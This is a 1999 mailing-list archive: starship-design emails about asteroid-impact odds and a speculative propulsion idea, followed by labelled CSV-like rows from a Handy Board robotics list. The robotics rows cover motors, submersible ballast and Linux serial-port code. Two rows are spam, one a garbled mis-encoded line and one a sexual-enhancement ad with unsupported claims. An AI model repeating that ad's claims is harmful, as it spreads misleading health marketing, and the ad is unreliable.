starship-design@lists.uoregon.edu Subject: starship-design: Am I missing something? Date: Tue, 3 Aug 1999 17:35:02 -0700 (PDT) Curtis L. Manges writes: > The following quote was taken from the article, >>""Richter Scale"" of > Asteroid Impact Threats Announced<< released on Spaceviews, here: > http://www.spaceviews.com/1999/08/ > > ""Some asteroids, such as 1999 AN10, at one time measured a 1 on the > [Torino] scale, meaning that they had about an equal probability of > striking Earth as a random, undiscovered object of similar size."" > > Now, I've got to wonder: if an object is ""undiscovered,"" how we can know > anything about its size, or its probability of striking Earth? I feel > it's important to clarify this, because it would seem to suggest that > our asteroid experts are postulating the likelihoods of specific > events, with NO real-world information to base their judgments on. This > can't be true, can it? > > If any of you folks know anything about how these people do their work, > I'd enjoy a little bit of enlightenment about it, as I'm sure a lot of > us would. You can obtain the approximate historical probability of the Earth being struck by asteroids based on geological evidence of previous impacts. So it may not be as silly as it sounds to talk about the probability of the Earth being struck by undiscovered objects, although it would be nice to know more about how they came up with the numbers. >From VM Wed Aug 4 09:53:28 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""994"" ""Tuesday"" ""3"" ""August"" ""1999"" ""19:26:16"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""23"" ""Re: starship-design: Am I missing something?"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 994 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id SAA16781 for starship-design-outgoing; Tue, 3 Aug 1999 18:21:06 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id SAA16773 for ; Tue, 3 Aug 1999 18:21:02 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin36.jetnet.ab.ca [207.153.6.36]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id TAA17617 for ; Tue, 3 Aug 1999 19:20:55 -0600 (MDT) Message-ID: <37A796B8.285F939D@jetnet.ab.ca> X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: <37A78577.3F6C0F94@worldnet.att.net> <14247.35510.436316.48201@tzadkiel.efn.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Am I missing something? Date: Tue, 03 Aug 1999 19:26:16 -0600 Steve VanDevender wrote: > > Curtis L. Manges writes: > > The following quote was taken from the article, >>""Richter Scale"" of > > Asteroid Impact Threats Announced<< released on Spaceviews, here: > > http://www.spaceviews.com/1999/08/ > > > You can obtain the approximate historical probability of the > Earth being struck by asteroids based on geological evidence of > previous impacts. So it may not be as silly as it sounds to talk > about the probability of the Earth being struck by undiscovered > objects, although it would be nice to know more about how they > came up with the numbers. I would assume you count all the impacts made and date them. Add in a fudge factor for the ones you missed and try to sort them by impact size and age. Since the last big impact was 65 million years ago I think mankind has a very small chance of death by impact as opposed to other things. This does not count mankinds stupidly like mining asteroids and trying to place on in orbit. Ben. >From VM Mon Aug 9 10:06:25 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""893"" ""Saturday"" ""7"" ""August"" ""1999"" ""16:17:48"" ""+0100"" ""=?iso-8859-1?q?Sharmila=20Badkar?="" ""sharmila27@yahoo.co.uk"" nil ""27"" ""starship-design: help needed"" ""^From:"" nil nil ""8"" nil ""starship-design: help needed"" nil nil nil] nil) Content-Length: 893 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id IAA11825 for starship-design-outgoing; Sat, 7 Aug 1999 08:17:53 -0700 (PDT) Received: from web601.yahoomail.com (web1205.mail.yahoo.com [128.11.23.141]) by darkwing.uoregon.edu (8.9.3/8.9.3) with SMTP id IAA11820 for ; Sat, 7 Aug 1999 08:17:52 -0700 (PDT) Message-ID: <19990807151748.25888.rocketmail@web601.yahoomail.com> Received: from [203.94.225.39] by web1205.mail.yahoo.com; Sat, 07 Aug 1999 16:17:48 BST MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Precedence: bulk Reply-To: =?iso-8859-1?q?Sharmila=20Badkar?= From: =?iso-8859-1?q?Sharmila=20Badkar?= Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: help needed Date: Sat, 7 Aug 1999 16:17:48 +0100 (BST) Hello,I have been a member of this mailing list for sometime now and find the some of the views expressed very interesting. I am hoping someone can help me with the following... I am a student is of architecture in India who is currently doing a dissertation on the future of architecture in outer space. My main source of information is the Internet since there isn't much information on the design aspect of the topic here (requirements, constraints etc. other than the obvious). If anyone can help me out with my problem, it would help me immensely. I have visited the NASA site and got some information from there. It would also help if anyone could refer me to someone I can contact via e-mail. Thanx for your time and help. Sharmila Badkar _____________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.co.uk address at http://mail.yahoo.co.uk >From VM Mon Aug 9 10:06:25 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""18798"" ""Saturday"" ""7"" ""August"" ""1999"" ""02:39:12"" ""-0400"" ""Connor Itenman"" ""chithree@boo.net"" nil ""274"" ""starship-design: [Fwd: casimir-forward balloon]"" ""^From:"" nil nil ""8"" nil ""starship-design: [Fwd: casimir-forward balloon]"" nil nil nil] nil) Content-Length: 18798 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id KAA05292 for starship-design-outgoing; Sat, 7 Aug 1999 10:49:59 -0700 (PDT) Received: from boo-mda02.boo.net (root@boo-mda02.boo.net [151.200.206.22]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id KAA05287 for ; Sat, 7 Aug 1999 10:49:58 -0700 (PDT) Received: from chithree (ppp-boo-235.Boo.Net [151.200.206.235]) by boo-mda02.boo.net (8.9.3/8.8.7) with SMTP id NAA28981 for ; Sat, 7 Aug 1999 13:49:55 -0400 Message-ID: <37ABD490.1799@boo.net> Organization: Cognitive Graphic Design X-Mailer: Mozilla 3.04Gold (Win95; I) MIME-Version: 1.0 Content-Type: message/rfc822 Content-Transfer-Encoding: 7bit Content-Disposition: inline Precedence: bulk Reply-To: Connor Itenman From: Connor Itenman Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: starship-design: [Fwd: casimir-forward balloon] Date: Sat, 07 Aug 1999 02:39:12 -0400 Message-ID: <37ABD40E.5A57@boo.net> Date: Sat, 07 Aug 1999 02:37:03 -0400 From: Connor Itenman Reply-To: chithree@boo.net Organization: Cognitive Graphic Design X-Mailer: Mozilla 3.04Gold (Win95; I) MIME-Version: 1.0 To: Sharmila Badkar Subject: casimir-forward balloon References: <19990807151748.25888.rocketmail@web601.yahoomail.com> Content-Type: multipart/mixed; boundary=""------------7049344C6214"" This is a multi-part message in MIME format. --------------7049344C6214 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Since this list is so quiet, I thought I might as well bring it up. I have this idea for a balloon type arrangement for space propulsion. There's a shoddily drawn model below. The plates (red stuff) are coated in a kind of phosphor. I was hoping they could alter Microwave light, but if not that's okay, the holes can be scaled down. So the out side layer is made of a mesh that is just loose enough to let the first (green) kind of microwave in, but not the second blue one. If the phosphor will only lower the frequency, we can have a coating to exploit microwaves' penetrating properties. As far as I can tell, this would cause all the microwaves going at the balloon to come out the back end, driving it forward. Does this all work, or can you find an error in my thinking? I know that it's not a very realistic idea, since the balloon would have to be so big compared to the cargo. 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In my case, the cause was underneath the board. I had not trimmed one of the components leads enough. When I screwing the board into the case the lead eventually pierced one of the wires going to my Nicad pac. My board would boot up with black squares, or when things got bumpy my bot would go horribly wrong......... just a thought Steve Troppoli. Chau Maria Lu wrote: > when I turn on my handyboard, a row of black squares appears on the top > line of the LCD screen. > > I have had friends check for shorts and I have redownloaded the > pcode_hb.s19 programs on to the handyboard (as the FAQ part of the > handyboard web page suggested). However we haven't been able to loacate > any shorts and redownloading the p_code doesn't seem to help. > > In addition to black squares appearing on the LCD screen, ocassionaly > strange (possibly japanese) characters appear on the screen. > > But other then my LCD screen missbehaving, the handyboard seems to work > fine and, when I run IC, the computer recognizes that the p_codes are > loaded. > > Does anyone know whats up with my handyboard?? > > chau > > *************************************************************************** > > ""Well-behaved women rarely make history"" > --Laurel Thatcher Ulrich > > ************************************************************************** ",0,0 Will Bain ,Handyboard Mailing List ,"Sun, 25 Jul 1999 09:02:23 -0600",Re: Weak Motor,"Shao Xiong wrote: > I have try to run the handy board using the standard DC 9V motor > purchase from one of the vendors. However , it does not seem be able to > move very well though i put it to 100% of its capacity. I am now working > on a project to built a remote car which must be able to carry a load of > 1.5kg. Does anyone has any motor model to recommend? > > Secondly, can i connect a 12V supply directly to terminal meant for > the 9V battery directly. Since the HB can take in supply of 9 - 12 V. I remember someone saying a few months ago that if you use a 12 V battery with the HB, then the HB's built-in charging circuit won't work properly, and that 12 V batteries can initially deliver up to about 14 V, which wouldn't be very kind to the electronics. The simple (but possibly expensive) solution is to get a remote control car that's already been built and has its own battery, then add the HB to it. The steering servo found in most RC cars can be controlled directly by the HB, and the electronic speed controller could probably be disconnected from the radio receiver and controlled in a similar way. I bought an old, used RC-10 race car for use as a robot platform, and it's extremely rugged (aluminum chassis, adjustable shocks, differential, etc.) Alternatively, you could use an external H-bridge circuit and separate battery to drive your motors. This is the cheap, safe solution. Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Conscience: the inner voice which warns us Will Bain, that someone may be looking. & Tatoosh --H. L. Mencken ",0,0 Ryan Meuth ,Handy Board Mailing List ,"Sun, 25 Jul 1999 20:10:36 -0500",Voice Recognition Hardware,"Greetings All! I was wondering if anybody out there knows of any good, relatively inexpensive, (<$350) Voice recognition hardware that is relatively easily interfaced to the handy board? Thank you very much. -Ryan Meuth",0,0 Chuck McManis ,"Ryan Meuth , Handy Board Mailing List ","Sun, 25 Jul 1999 19:38:30 -0700",Re: Voice Recognition Hardware,"Try to track down a company called ""CoVox"". These guys used to have a speech recognition device that ran on the Apple II (6502) that was pretty cool (speaker dependent of course). Also there is a speech recognition chip for use in toys the HM002 or something similar that a couple of distributors carry. The company got the bay area robotics folks excited and then delayed the dev kit by a year. I never got a call back from them. --Chuck At 08:10 PM 7/25/99 -0500, Ryan Meuth wrote: >Greetings All! > I was wondering if anybody out there knows of any good, relatively >inexpensive, (<$350) Voice recognition hardware that is relatively >easily interfaced to the handy board? > Thank you very much. -Ryan Meuth >",0,0 Roslyn Bernal ,handyboard@media.mit.edu,"Tue, 25 Jul 1899 04:22:38 +0000",�����ڿ��� ����ü�� 15�� ����..... mf q,gyh lbcfhcvidtkckexyojoyfyrhzcuxocfk dzlsfqkvtiqv sngxalqv wmg,1,1 Victor Lee ,Handyboard Mailing List ,"Mon, 26 Jul 1999 23:20:30 +0800",Re: Weak Motor," >Shao Xiong wrote: >> I have try to run the handy board using the standard DC 9V motor >> purchase from one of the vendors. However , it does not seem be able to >> move very well though i put it to 100% of its capacity. I am now working >> on a project to built a remote car which must be able to carry a load of >> 1.5kg. Does anyone has any motor model to recommend? >> >> Secondly, can i connect a 12V supply directly to terminal meant for >> the 9V battery directly. Since the HB can take in supply of 9 - 12 V. It wouldnt be wise to directly connect your 12V supply to the Handy Board... even if it doesnt cause damage to your Handy Board, I dont think your motor will be able to draw sufficient current from the motor port to run properly. Rather, you could bend out the motor supply pin of the L293 from the IC socket and solder your 12V supply there...... It shouldnt be a problem with the motor if you are able to move it....... It would be more likely that the supply used to power the motor is not producing enough current to run the motor with the desired torque......(esp the case if you are using alkali or even Ni-cad batteries). Try using a variable supply to see if the motor is really able to run your car before resorting to changing your motor to another with higher voltage and current specs. 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Also there is a speech recognition chip > for use in toys the HM002 or something similar that a couple of > distributors carry. The company got the bay area robotics folks excited and > then delayed the dev kit by a year. I never got a call back from them. > > --Chuck > > At 08:10 PM 7/25/99 -0500, Ryan Meuth wrote: > >Greetings All! > > I was wondering if anybody out there knows of any good, relatively > >inexpensive, (<$350) Voice recognition hardware that is relatively > >easily interfaced to the handy board? > > Thank you very much. -Ryan Meuth > >",0,0 Damon ,handyboard@media.mit.edu,"Mon, 24 Jun 1996 09:10:33 +0300",news from Damon,"Increase your CUM VOLUME, and Orgasm Length main benifits: - The longest most intense Orgasms of your life - Erctions like steel - lncreased libido/desire - Stronger ejaculaton (watch where your aiming) - Multiple 0rgasms - Up to 5OO% more volume (cover her in it if you want) - Studies show it tastes sweeter DISCREET SAME DAY SHIPPING - TRY IT, YOU'LL L0VE IT! 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The board seems to work ok looking at it with a scope but now I want to interface it with my handyboard. The board basically produces a square wave signal with a duty cycle of 50/50 and as you tilt the board the duty cycle changes. I want to measure the timing of the pulses to determine any change in the duty cycle. Could this be written in C or does it have to be in ASM and does anyone have any sample code on how to do timing measurements on the handyboard. Thanks Russ.... -----Original Message----- From: Daniel Herring [mailto:edo_ergo_sum@zdnetmail.com] Sent: Sunday, July 18, 1999 1:29 AM To: legged-robots@egroups.com Subject: [legbots] Tilt Sensors I just came across this today: http://www.analog.com/iMEMS/products/ADXL202_top.html It tells how to make a tilt-sensor joystick for your home computer. This simple circuit is based on the ADXL202 accelerometer made by Analog Devices (www.analog.com). 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Fortunately a submersible needs lots of ballast, so you can stuff it with lots of batteries and gear. So my plan was to use a $10 air compressor (the sort you can buy at service stations to fill your tires) to move air from a bouyancy tank (with a hole at the bottom connected to the water) into a reservoir to sink and to let it flow back through an electric valve to rise. This way the only refueling you need is electricity. So you don't need to refill the canister from time to time which means maintainance on land. My favorite methode would be to use an electric piston system to move water in and out of a large cylinder (about half a liter). The other side of the cylinder (the air side) must be connected to the interior of the sub. This way you would change the pressure inside the sub. Or you could say you change the overal volume, hence the bouyancy. I planned also to build some kind of automatic emergency float system. Nothing else than some ballast to drop when the batteries run too low OR a preset time has elapsed (the latter could be a mechanical solution using a modified kitchen alarm clock). Regarding the depth sensor. Did you consider some sonar device that pings straight upward to sense the reflection of the surface? It just came to my mind. I don't know if that works but it seems feasable and should be of good accuracy (about an inch should be possible). I thought of something like the polaroid ranging sensor. Oops, speed of sound in water is about 3 times that of what it is in air, so the accuracy would be only a third and what about the reflectance of the water surface if there are lots of waves.... Hmmm! At 20:13 27.07.99 -0500, you wrote: >Hi - > We are building a submersible robot. For maintaning the depth we need a >ballast system, we are planning to use a canister of compressed air with >some electronnically controlled valves. >In addition we are planning to use a depth sensor, Pressure gauge, Digital >compass for navigation of the robot. >Also we would like to know any more ideas to acheive neutral bouyancy. > >If anybody has suggestions on which ones are usable with the handyboard, >please let us know. > >Ravi. > ",0,0 Andrew Harris ,handyboard@media.mit.edu,"Wed, 28 Jul 1999 08:02:26 -0500","Re: submersible, ballast, depth sensor","> >Hi! > >I planned to build a sub myself about >two years ago but couldn't find the time to build it. What I have to >offer are some thoughts. > >Fortunately a submersible needs lots of ballast, so you can stuff it >with lots of batteries and gear. >So my plan was to use a $10 air compressor (the sort you can buy at >service stations to fill your tires) to move air from a bouyancy >tank (with a hole at the bottom connected to the water) into a reservoir >to sink and to let it flow back through an >electric valve to rise. This way the only refueling you need is >electricity. So you don't need to refill the canister from time to time >which means maintainance on land. > I'm curious; what is the difference between the ""buoyancy tank"" and the ""resevoir""? I'd think moving air from one tank to another won't actually affect buoyancy. Am I missing something? >My favorite methode would be to use an electric piston system to move >water in and >out of a large cylinder (about half a liter). The other side of the cylinder >(the air side) must be connected to the interior of the sub. This way >you would change the pressure inside the sub. Or you could say you >change the overal volume, hence the bouyancy. > That's interesting; but difficult, right? Ensuring a watertight seal around the piston even under various pressure differences is really hard. Can you refer a specific piston system? >I planned also to build some kind of automatic emergency float system. >Nothing else than some ballast to drop when the batteries run too low >OR a preset time has elapsed (the latter could be a mechanical solution >using a modified kitchen alarm clock). > That's a good idea. -andrew mail96928@pop.net ",0,0 Martin Frischherz ,mail96928@pop.net,"Wed, 28 Jul 1999 15:39:57 +0200","Re: submersible, ballast, depth sensor","At 08:02 28.07.99 -0500, you wrote: >>So my plan was to use a $10 air compressor (the sort you can buy at >>service stations to fill your tires) to move air from a bouyancy >>tank (with a hole at the bottom connected to the water) into a >reservoir >>to sink and to let it flow back through an >>electric valve to rise. > >I'm curious; what is the difference between the ""buoyancy tank"" and the >""resevoir""? I'd think moving air from one tank to another won't >actually >affect buoyancy. Am I missing something? Yes. You missed the ""with a hole at the bottom connected to the water"" which means that water comes in as you move the air to the reservoir. And this means reducing the effective volume of the submersible but keeping its weight. Just the same as the piston system but using an compressor instead of the piston (which in fact acts as compressor, right?). If you open a valve, you let the air flow back to the tank, forcing the water out -> increasing the effective volume. >>My favorite methode would be to use an electric piston system to move >>water in and >>out of a large cylinder (about half a liter). The other side of the >cylinder >>(the air side) must be connected to the interior of the sub. This way >>you would change the pressure inside the sub. Or you could say you >>change the overal volume, hence the bouyancy. >That's interesting; but difficult, right? Ensuring a watertight seal >around >the piston even under various pressure differences is really hard. Can >you refer a specific piston system? I saw it at a local r/c model store. Not cheap, about $700 a pair (if you have two, one at the front, one aft, you can trim the sub). Martin ",0,0 Barry Brouillette ,"""'mail96928@pop.net'"" , handyboard@media.mit.edu","Wed, 28 Jul 1999 10:29:08 -0400","RE: submersible, ballast, depth sensor","There is a whole community of Radio Control submariners who have extensive experience that you could make use of. If you want it to act like a true submarine with diving planes etc. you should definitely use their knowledge base. It is much harder than it would appear. A few links: http://www.wolfsong.com/SubCommittee/ http://www.primenet.com/~kndbrd/rcsubfaq.html I once built a small submersible using a veterinarians syringe as the balast tank. A gearmotor drove a long threaded shaft to move the piston in and out. The tip of the syringe was connected to the outside of the sub and the other end was open to the inside of the sub. When the piston moved into the syringe it pushed water out and decreased the air pressure inside the sub slightly. When the piston came back in it would suck in water and make the sub heavier. Something like this could be done with almost any smooth tube and a corresponding piston with an O ring seal. The trick is that if you go very deep you may exceed the motors capacity to push. The nice thing about it is its simplicity and no requirement for compressed air. Barry -----Original Message----- -----Original Message----- From: Andrew Harris [mailto:mail96928@pop.net] Sent: Wednesday, July 28, 1999 9:02 AM To: handyboard@media.mit.edu Subject: Re: submersible, ballast, depth sensor > >Hi! > >I planned to build a sub myself about >two years ago but couldn't find the time to build it. What I have to >offer are some thoughts. > >Fortunately a submersible needs lots of ballast, so you can stuff it >with lots of batteries and gear. >So my plan was to use a $10 air compressor (the sort you can buy at >service stations to fill your tires) to move air from a bouyancy >tank (with a hole at the bottom connected to the water) into a reservoir >to sink and to let it flow back through an >electric valve to rise. This way the only refueling you need is >electricity. So you don't need to refill the canister from time to time >which means maintainance on land. > I'm curious; what is the difference between the ""buoyancy tank"" and the ""resevoir""? I'd think moving air from one tank to another won't actually affect buoyancy. Am I missing something? >My favorite methode would be to use an electric piston system to move >water in and >out of a large cylinder (about half a liter). The other side of the cylinder >(the air side) must be connected to the interior of the sub. This way >you would change the pressure inside the sub. Or you could say you >change the overal volume, hence the bouyancy. > That's interesting; but difficult, right? Ensuring a watertight seal around the piston even under various pressure differences is really hard. Can you refer a specific piston system? >I planned also to build some kind of automatic emergency float system. >Nothing else than some ballast to drop when the batteries run too low >OR a preset time has elapsed (the latter could be a mechanical solution >using a modified kitchen alarm clock). > That's a good idea. -andrew mail96928@pop.net ",0,1 Shao Xiong ,handyboard mailist ,"Thu, 29 Jul 1999 01:26:10 +0800",Linking HB with UART ," Recently , i am trying to use HB as the controller for a Remote control project . However , i have yet to figure out how to make the HB take in a 8 bit digital signal from the UART?Is there any circuit require to execute the describe function? i am trying to send control signal from the joystick over the air using UART . At the receiver end , the UART will receive the signal and pump into the HB which will then decide to move the motor or steer it left or right. Alternatively , is there any alternative besides using HB? Just wonder can i achieve remote controlling a vehicle without using any micro controller at all... Anyone has any ideas how it should be done . Thanks anyway ",0,0 Satish Chetty ,handyboard@media.mit.edu,"Thu, 29 Jul 1999 04:38:40 +1000","Re: submersible, ballast, depth sensor","Hi all, Seeing notes about the sub and all, I thought I shall share some info. I know this list is purely for HB enthusiasts and forgive me if this does not interest you. The reason I got involved in HB was when I planned to use HB for a Aerial robot competition that is held by Georgia tech. The object of the competition is to use an unmanned (no human interaction ever) flying craft (heli, aircraft, balloon anything) that can detect objects like coloured cans on the ground from air and pick them up and drop them in a specially marked container. Of course it is more complicated and as far as I know, nobody has won. It involves everything from micro mouse theories to computer ""vision"". The rules are not that simple, you can find them at http://avdil.gtri.gatech.edu/AUVS/CurrentIARC/FutureEventInfo.html I was studying the HB so that I can use the HB to maintain the autonomous ""nervous"" system for the craft like gyro, ""aerial stability"", fuel monitoring, motor control blah blah blah, while the ground based computer makes ""intelligent decisions"" as to what to pick and where to go. This relives the main computer in doing maintenance work. The idea to form a team to compete has been in my mind for some time, but was never able to pursue it fully for the lack of time (I work in Silicon Valley) and for the funds needed. If anybody is interested in forming a team or at at least discuss the feasibility of using HB to do some of the stuff I mentioned, please contact me separately outside the alias. Thanks, -Satish. On Wed, 28 Jul 1999, Martin Frischherz wrote: > Hi! > > I planned to build a sub myself about > two years ago but couldn't find the time to build it. What I have to > offer are some thoughts. > > Fortunately a submersible needs lots of ballast, so you can stuff it > with lots of batteries and gear. > So my plan was to use a $10 air compressor (the sort you can buy at > service stations to fill your tires) to move air from a bouyancy > tank (with a hole at the bottom connected to the water) into a reservoir > to sink and to let it flow back through an > electric valve to rise. This way the only refueling you need is > electricity. So you don't need to refill the canister from time to time > which means maintainance on land. > > My favorite methode would be to use an electric piston system to move > water in and > out of a large cylinder (about half a liter). The other side of the cylinder > (the air side) must be connected to the interior of the sub. This way > you would change the pressure inside the sub. Or you could say you > change the overal volume, hence the bouyancy. > > I planned also to build some kind of automatic emergency float system. > Nothing else than some ballast to drop when the batteries run too low > OR a preset time has elapsed (the latter could be a mechanical solution > using a modified kitchen alarm clock). > > Regarding the depth sensor. Did you consider some sonar device that pings > straight upward to sense the reflection of the surface? It just came to > my mind. I don't know if that works but it seems feasable and should be > of good accuracy (about an inch should be possible). I thought of something > like the polaroid ranging sensor. Oops, speed of sound in water is about > 3 times that of what it is in air, so the accuracy would be only a third > and what about the reflectance of the water surface if there are lots of > waves.... Hmmm! > > > At 20:13 27.07.99 -0500, you wrote: > >Hi - > > We are building a submersible robot. For maintaning the depth we need a > >ballast system, we are planning to use a canister of compressed air with > >some electronnically controlled valves. > >In addition we are planning to use a depth sensor, Pressure gauge, Digital > >compass for navigation of the robot. > >Also we would like to know any more ideas to acheive neutral bouyancy. > > > >If anybody has suggestions on which ones are usable with the handyboard, > >please let us know. > > > >Ravi. > > > > ",0,1 Mike Jones ,"Shao Xiong , handyboard mailist ","Wed, 28 Jul 1999 13:17:46 +0500",Re: Linking HB with UART ,"That is what Radio Control modelers do all the time. The technology is mature and readily available. This would prevent any autonomy in the bot, you become the brains. Mike > Recently , i am trying to use HB as the controller for a Remote >control project . However , i have yet to figure out how to make the HB >take in a 8 bit digital signal from the UART?Is there any circuit >require to execute the describe function? > i am trying to send control signal from the joystick over the air >using UART . At the receiver end , the UART will receive the signal and >pump into the HB which will then decide to move the motor or steer it >left or right. Alternatively , is there any alternative besides using >HB? Just wonder can i achieve remote controlling a vehicle without using >any micro controller at all... > > Anyone has any ideas how it should be done . Thanks anyway > > > ",0,0 David Boosalis ,handyboard mailist ,"Thu, 29 Jul 1999 00:54:59 -0400",Serial line output,"Just started to learn how to use my new HB. In going through the IC manual I could not find any routines for writing to the serial port. Does anybody have a good example on how to write ""hello world"" to the serial port, and have the attached computer (Linux in this case) read it. Any tips most appreciated. Thanks. David Boosalis ",0,0 David Boosalis ,handyboard mailist ,"Thu, 29 Jul 1999 03:27:27 -0400",Reading Serial Port,"This is not really a HB question, but I am hoping someone here has experience in it anyway. My question is in how do you read the Serial port under Linux. The Linux HOWTO's give an example, which I show below. What happens is that it hangs on the read, that is I never see the second printf after the read in the code below. Perhaps there is someting wrong with my IC code, as the lights do not flash on the serial board showing any network traffic. I transmit ""David\\n"", one character every second. Any suggestions most appreciated. David Boosalis #included by */ #define BAUDRATE B921600 #define MODEMDEVICE ""/dev/ttyS0"" #define _POSIX_SOURCE 1 /* POSIX compliant source */ #define FALSE 0 #define TRUE 1 volatile int STOP=FALSE; main() { int fd,c, res; struct termios oldtio,newtio; char buf[255]; /* Open modem device for reading and writing and not as controlling tty because we don't want to get killed if linenoise sends CTRL-C. */ fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY ); if (fd <0) {perror(MODEMDEVICE); exit(-1); } tcgetattr(fd,&oldtio); /* save current serial port settings */ bzero(&newtio, sizeof(newtio)); /* clear struct for new port settings */ /* BAUDRATE: Set bps rate. You could also use cfsetispeed and cfsetospeed. CRTSCTS : output hardware flow control (only used if the cable has all necessary lines. See sect. 7 of Serial-HOWTO) CS8 : 8n1 (8bit,no parity,1 stopbit) CLOCAL : local connection, no modem contol CREAD : enable receiving characters */ newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD; /* IGNPAR : ignore bytes with parity errors ICRNL : map CR to NL (otherwise a CR input on the other computer will not terminate input) otherwise make device raw (no other input processing) */ newtio.c_iflag = IGNPAR | ICRNL; /* Raw output. */ newtio.c_oflag = 0; /* ICANON : enable canonical input disable all echo functionality, and don't send signals to calling program */ newtio.c_lflag = ICANON; /* initialize all control characters default values can be found in /usr/include/termios.h, and are given in the comments, but we don't need them here */ newtio.c_cc[VINTR] = 0; /* Ctrl-c */ newtio.c_cc[VQUIT] = 0; /* Ctrl-\\ */ newtio.c_cc[VERASE] = 0; /* del */ newtio.c_cc[VKILL] = 0; /* @ */ newtio.c_cc[VEOF] = 4; /* Ctrl-d */ newtio.c_cc[VTIME] = 0; /* inter-character timer unused */ newtio.c_cc[VMIN] = 1; /* blocking read until 1 character arrives */ newtio.c_cc[VSWTC] = 0; /* '\\0' */ newtio.c_cc[VSTART] = 0; /* Ctrl-q */ newtio.c_cc[VSTOP] = 0; /* Ctrl-s */ newtio.c_cc[VSUSP] = 0; /* Ctrl-z */ newtio.c_cc[VEOL] = 0; /* '\\0' */ newtio.c_cc[VREPRINT] = 0; /* Ctrl-r */ newtio.c_cc[VDISCARD] = 0; /* Ctrl-u */ newtio.c_cc[VWERASE] = 0; /* Ctrl-w */ newtio.c_cc[VLNEXT] = 0; /* Ctrl-v */ newtio.c_cc[VEOL2] = 0; /* '\\0' */ /* now clean the modem line and activate the settings for the port */ tcflush(fd, TCIFLUSH); tcsetattr(fd,TCSANOW,&newtio); /* terminal settings done, now handle input In this example, inputting a 'z' at the beginning of a line will exit the program. */ while (STOP==FALSE) { /* loop until we have a terminating condition */ /* read blocks program execution until a line terminating character is input, even if more than 255 chars are input. If the number of characters read is smaller than the number of chars available, subsequent reads will return the remaining chars. res will be set to the actual number of characters actually read */ printf(""doing read...\\n""); res = read(fd,buf,255); printf(""done width read\\n"");",0,0 Stefano Falconetti ,"David Boosalis , handyboard mailist ","Thu, 29 Jul 1999 09:59:41 +0200",R: Reading Serial Port,"You can try Java comm API, under linux too. (If you want to use java ... :-) Stefano ---------- | Da: David Boosalis | A: handyboard mailist | Oggetto: Reading Serial Port | Data: 29 July 1999 09:27 | | This is not really a HB question, but I am hoping someone here has | experience in it anyway. My question is in how do you read the Serial | port under Linux. The Linux HOWTO's give an example, which I show | below. What happens is that it hangs on the read, that is I never see | the second printf after the read in the code below. Perhaps there is | someting wrong with my IC code, as the lights do not flash on the serial | board showing any network traffic. I transmit ""David\\n"", one character | every second. | | | Any suggestions most appreciated. | David Boosalis | | | | #included by */ | #define BAUDRATE B921600 | #define MODEMDEVICE ""/dev/ttyS0"" | #define _POSIX_SOURCE 1 /* POSIX compliant source */ | #define FALSE 0 | #define TRUE 1 | | volatile int STOP=FALSE; | | main() | { | int fd,c, res; | struct termios oldtio,newtio; | char buf[255]; | /* | Open modem device for reading and writing and not as controlling tty | | because we don't want to get killed if linenoise sends CTRL-C. | */ | fd = open(MODEMDEVICE, O_RDWR | O_NOCTTY ); | if (fd <0) {perror(MODEMDEVICE); exit(-1); } | | tcgetattr(fd,&oldtio); /* save current serial port settings */ | bzero(&newtio, sizeof(newtio)); /* clear struct for new port settings | */ | | /* | BAUDRATE: Set bps rate. You could also use cfsetispeed and | cfsetospeed. | CRTSCTS : output hardware flow control (only used if the cable has | all necessary lines. See sect. 7 of Serial-HOWTO) | CS8 : 8n1 (8bit,no parity,1 stopbit) | CLOCAL : local connection, no modem contol | CREAD : enable receiving characters | */ | newtio.c_cflag = BAUDRATE | CRTSCTS | CS8 | CLOCAL | CREAD; | | /* | IGNPAR : ignore bytes with parity errors | ICRNL : map CR to NL (otherwise a CR input on the other computer | will not terminate input) | otherwise make device raw (no other input processing) | */ | newtio.c_iflag = IGNPAR | ICRNL; | | /* | Raw output. | */ | newtio.c_oflag = 0; | | /* | ICANON : enable canonical input | disable all echo functionality, and don't send signals to calling | program | */ | newtio.c_lflag = ICANON; | | /* | initialize all control characters | default values can be found in /usr/include/termios.h, and are | given | in the comments, but we don't need them here | */ | newtio.c_cc[VINTR] = 0; /* Ctrl-c */ | newtio.c_cc[VQUIT] = 0; /* Ctrl-\\ */ | newtio.c_cc[VERASE] = 0; /* del */ | newtio.c_cc[VKILL] = 0; /* @ */ | newtio.c_cc[VEOF] = 4; /* Ctrl-d */ | newtio.c_cc[VTIME] = 0; /* inter-character timer unused */ | newtio.c_cc[VMIN] = 1; /* blocking read until 